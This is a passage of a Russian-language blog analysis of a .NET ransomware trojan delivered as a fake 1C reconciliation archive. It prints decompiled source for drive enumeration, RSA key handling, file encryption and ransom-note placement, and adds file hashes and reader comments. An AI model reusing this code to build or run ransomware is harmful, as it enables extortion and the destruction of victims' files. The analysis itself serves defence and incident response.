                        process2.Start();
                        string s = process2.StandardOutput.ReadToEnd();
                        byte[] bytes = Encoding.GetEncoding(0x4e3).GetBytes(s);
                        char[] separator = new char[] { '\r', '\n' };
                        string[] strArray = Encoding.GetEncoding("CP866").GetString(bytes).Split(separator);
                        for (int j = 0; j < strArray.Length; j++)
                        {
                            if (strArray[j].IndexOf("Диск") > -1)
                            {
                                this.FullList.Add(list[num5] + @"\" + strArray[j].Substring(0, strArray[j].IndexOf("Диск")));
                            }
                        }
                    }
                    catch
                    {
                    }
                    num5++;
                }
    ///   Создание криптопровайдера для шифрования...RSA 2048
                RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                this.publicKey = provider.ToXmlString(false); // Только публичный ключ в XML
                this.privateKey = this.CryptKey(provider.ToXmlString(true)); //Публичный и приватный ключи в зашифрованном виде...
            }
    
    ///// Сохранение файла ключей для расшифровки в файл ssda.far
            private void SaveKey(string f, string k)
            {
                string str = this.keyfile.Substring(0, this.keyfile.Length - 4);
                if (!File.Exists(f + @"\" + this.keyfile))
                {
                    try
                    {
                        File.WriteAllText(f + @"\" + this.keyfile, k);
                    }
                    catch
                    {
                    }
                }
                else
                {
                    try
                    {
                        File.WriteAllText(string.Concat(new object[] { f, @"\", str, this.AmountFiles(f), ".", this.kfExt }), k);
                    }
                    catch
                    {
                    }
                }
            }
    ///// Сохранение файлов картинки и файла ключей на рабочем столе и в папке пользователя
            private void SaveNotes()
            {
                List<string> list = new List<string> {  // создаем список с папками
                    Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), // рабочий стол
                    Environment.GetFolderPath(Environment.SpecialFolder.Personal) // папка юзера
                };
                for (int i = 0; i < list.Count; i++) // в двух местах
                {
                    this.SaveKey(list[i], this.privateKey); // сохраняем ключи в файл ssda.far
                    this.AddNote(list[i]); // сохраняем картинку с требованием выкупа
                }
            }
        
    ///// получение директорий
            private void GetDirs(DirectoryInfo pth)
            {
                try
                {
                    DirectoryInfo[] directories = pth.GetDirectories();
                    foreach (DirectoryInfo info in directories)
                    {
                        this.GetFiles(info);
                        this.GetDirs(info);
                    }
                }
                catch
                {
                }
            }
    ///// Получение списка локальных и сетевых дисков 
            private void GetDrives()
            {
                try
                {
                    string[] logicalDrives = Environment.GetLogicalDrives();
                    for (int i = 0; i < logicalDrives.Length; i++)
                    {
                        DriveInfo info = new DriveInfo(logicalDrives[i]);
                        if ((info.DriveType == DriveType.Fixed) || (info.DriveType == DriveType.Network))
                        {
                            this.GetDirs(info.RootDirectory);
                        }
                    }
                }
                catch
                {
                }
            }
    ////  Получение файлов из папок и шифрование... 
            private void GetFiles(DirectoryInfo folder)
            {
                try
                {
                    string[] files = Directory.GetFiles(folder.FullName, "*.*");
                    foreach (string str in files)
                    {
                        foreach (string str2 in this.extensions) // выбор по расширению
                        {
                            if ((str.ToLower().IndexOf(str2) > -1) && (str.ToLower().IndexOf(str2 + ".") == -1))
                            {
                                string str3 = str;
                                if (str.IndexOf(this.vNF) == -1)
                                {
                                    this.CF(str3);  /// шифрование файла...
                                }
                            }
                        }
                    }
                }
                catch
                {
                }
            }
        }
    }
    


    Заострим внимание на основных функциях, чтобы понять алгоритм:
    После инициализации и создания невидимого окна, попадаем в функцию init()

            private void Init()
            {
                this.Prep();
                this.SaveNotes();
                this.GetDrives();
                this.NetScan();
                this.SetDesktopWallpaper();
            }

    Prep() — инициализирует переменные, расшифровывает строки, создает криптопровайдеры, удаляет теневые копии файлов.

    В конце функции самое интересное:

                RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                this.publicKey = provider.ToXmlString(false);
                this.privateKey = this.CryptKey(provider.ToXmlString(true));
    

    Создается класс RSACryptoServiceProvider с длинной ключа 2048. При создании класса создаются рандомные значения ключей шифрования. Публичный ключ сохраняется в переменной this.publicKey, а в переменную this.privateKey помещаются публичный и приватный ключи, но зашифрованные публичным ключем который хранится в переменной this.pbK, что видно в функции CryptKey(string s).

    Публичный ключ:

    <RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

    Функция CryptKey()
    private string CryptKey(string s)
            {
                string str = "";
                byte[] array = new byte[s.Length];
                byte[] destinationArray = new byte[this.blocksize];
                byte[] bytes = new byte[this.blocksize + 11];
                double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
                if (s.Length < (num * this.blocksize))
                {
                    int length = s.Length;
                    for (int i = 0; i < ((num * this.blocksize) - length); i++)
                    {
                        s = s + " ";
                    }
                }
                array = Encoding.Default.GetBytes(s);
                Array.Reverse(array);
                try
                {
                    RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                    provider.FromXmlString(this.pbK);
                    for (int j = 0; j < num; j++)
                    {
                        Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
                        bytes = provider.Encrypt(destinationArray, false);
                        str = str + Encoding.Default.GetString(bytes);
                    }
                }
                catch
                {
                }
                return str;
            }
    

    Процедура SaveNotes() сохраняет зашифрованные ключи в файл «ssda.far» — этот файл нужно послать злоумышленнику, он его расшифровывает с помощью приватного ключа, который есть только у него. Имея приватный ключ можно легко расшифровать файлы.
    Процедура GetDrives() и NetScan() — получает список директорий.

    Процедура SetDesktopWallpaper() — по идее должна менять фоновый рисунок на рабочем столе, но не работает. В результате заражения фоновый рисунок не поменялся.

    Если посмотреть на процедуру непосредственно шифрования, то можно увидеть что шифруется не весь файл, а делается только 3 итерации по 512 байт. Если в файле есть важная информация, и файл большой, то возможно есть шанс восстановить часть файла. Маленькие файлы не шифруются и не меняется расширение.

    Процедура шифрования файла
    private void CF(string f1)
            {
                byte[] destinationArray = new byte[this.blocksize];
                try
                {
                    byte[] sourceArray = File.ReadAllBytes(f1);
                    if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
                    {
                        RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                        provider.FromXmlString(this.publicKey);
                        byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
                        byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
                        for (int i = 0; i < this.repeatCount; i++)
                        {
                            Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
                            byte[] buffer5 = provider.Encrypt(destinationArray, false);
                            Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
                        }
                        Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
                        Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
                        try
                        {
                            File.WriteAllBytes(f1, buffer3);
                            File.Move(f1, f1 + this.keyCode);
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
            }


    Расширение зашифрованных файлов — рандомное значение, и видимо нужно для последующей расшифровки по маске, и чтобы отличить зараженные машины одну от другой.

    Выводы


    К сожалению без приватного ключа расшифровать файлы, практически невозможно. Обязательно делать копии важной информации, на внешнем носителе, который необходимо отключать от компьютера.

    З.Ы. Извиняюсь за довольно спонтанный анализ. Решил написать данный пост, может кому пригодится. Я думаю приведенный исходный код поможет более ясно увидеть всю работу зловредной программы.

    З.Ы.З.Ы: Добавил хэши:

    Архив: акт сверки №317 сформировано 1С 09112017.rar

    SHA-256: 1c3fc2fec4c383070c8c83d94173a1966aeeb140f3684188342e283b652e6197
    MD5: 68904e1cc81e7f367a677c54fcea7422
    SHA-1: 5d39c694e01a9bf3b10519ba81a8565a0ee40b7b

    В архиве: акт сверки №317 сформировано 1С 09112017.wsf

    SHA-256: 02f0b00bbd9a633a98315560490627a5f907266101a881fa076ec2480df53d91
    MD5: b698f6cbf69a85c7185e1caf8356f275
    SHA-1: dd8122e876bfe7e238642f43dfffd7a4c3e54af3

    eselp3.ax

    SHA-256: b4f132e2625a788f2e8797495abe7e151a3242825752f62066c3ad2b4949b333
    MD5: 980e8beac4c1538e68b2e80d5cd2bb23
    SHA-1: 2f46d98b8c601104de4cc5afea146ef1682fc3a7

    eselp4.ax

    SHA-256: b6e8d5bd9cae7bd2b3ea87fe3483050e3c644d795df77d7f45a1a435375e8f5c
    MD5: efea82173e5e09956ea5c7dbdb551297
    SHA-1: 6ff4c69de879f3d40be9b5710e2a7245dba1352b
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама
    Комментарии 20
    • 0
      много лишних запятых
      • –3
        Записал ссылку с которой грузиться файл с заразой


        грузится без мягкого знака пишется
      • 0
        Комментарием ниже уважаемый Methos явно указал на ошибку в слове. Не могли бы и вы перечислить лишние запятые?
      • 0
        А хэшей-то и нет. Анализ, который нельзя проверить или повторить (а без хэшей — нельзя) — печально.
        • 0
          Какие именно хэши Вам нужны для проверки и повторения анализа? Я обязательно Вам предоставлю, дабы не печалить.
          • –1
            Файлов, Карл! Исследованных файлов…
            • 0
              Я спросил какие именно хэши? Имел ввиду md5, sha*.
              Добавил в пост. Ждем от Вас проверку и повторение анализа.
              • 0
                Мне нет смысла повторно анализировать троя от июня 2016 :-)
                • +1
                  Ну Вы же аналитик в DrWeb — тогда ждем анализ свежих криптолокеров от Вас, а не старья от 2016 года как я. Мне даже не удобно как-то — нарисовался с протухшим анализом, позор какой-то…
        • 0
          Просто интересно…
          Царапнула глаз транслитерация — «некама» на Иврите это Месть, а «некез» (хоть правильно «никуз») — это слив или дренаж.
          Хотя возможно слова идут с каких то одногруппных ивриту языков (Турецкий, Азербайджанский и.т.д)
          • +2

            Турецкий и азербайджанский — к ивриту не родственные совсем! Но, в них есть слова заимствованные из арабского, который и родственен ивриту (например, "салам" на арабском и "шалом" на иврите).
            Языки родственные ивриту — это арабский, ассирийский, эфиопский, древнеегипетский, и прочие семитские языки.

            • 0
              Очень похоже на месть, учитывая таргетность и сумму выкупа — 0.03 btc
            • 0
              Разбирал как-то нечто подобное, только вместо .NET оно использовало скачанный с нета gpg, как следствие, было cmd-скриптом. Не помню, правда, сколько байт оно шифровало, но достаточно, чтобы проверить работу восстановления с бэкапа :)
              • 0
                а чисто бытовой интерес — имея файл до и после шифровки и скрипт шифровальщик — реально получить приват ключ?
                • 0
                  Практически нереально. Если хотите попробовать, могу обеспечить материалом на основе шифровальщика.
                • 0
                  Мне кажется, что 3 итерации по 512 байт — это не так уж и много
                  • 0
                    Смотря для каких файлов. В любом случае потребуется много возни с восстановлением остатков от файла. Зато скорость шифрования большая, чем шифровать весь файл.
                  • 0
                    Если бы была настроена ос, это поделие бы даже не запустилось.
                    • 0
                      Согласен, и если были бы резервные копии, то и проблемы не возникло бы.

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.